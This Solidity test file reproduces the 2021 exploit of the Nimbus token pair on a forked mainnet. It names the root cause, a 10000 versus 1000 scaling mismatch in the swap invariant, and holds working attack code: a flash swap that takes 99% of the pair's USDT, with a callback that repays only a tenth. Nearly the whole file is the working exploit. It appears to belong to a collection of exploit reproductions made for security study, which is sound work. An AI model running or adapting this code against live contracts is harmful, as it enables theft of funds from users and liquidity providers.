src/test/2021-09/Nimbus_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7interface IERC20Custom {
8    function transfer(address, uint256) external;
9}
10 
11/*
12    Vulnerable contract: https://etherscan.io/token/0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1#code
13 
14    root cause: inconsistent value in the code, 10000 vs 1000.
15    // scope for reserve{0,1}Adjusted, avoids stack too deep errors
16    uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(15));
17    uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(15));
18    require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Nimbus: K');*/
19contract ContractTest is Test {
20    address public pair = 0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1;
21    address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
22    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
23 
24    function setUp() public {
25        cheats.createSelectFork("mainnet", 13_225_516); //fork bsc at block 13225516
26    }
27 
28    function testExploit() public {
29        console.log("Before exploiting", IERC20(usdt).balanceOf(address(this)));
30 
31        uint256 amount = IERC20(usdt).balanceOf(pair) * 99 / 100;
32        IUniswapV2Pair(pair).swap(amount, 0, address(this), abi.encodePacked(amount));
33 
34        console.log("After exploiting", IERC20(usdt).balanceOf(address(this)));
35    }
36 
37    function NimbusCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
38        IERC20Custom(usdt).transfer(pair, amount0 / 10);
39    }
40}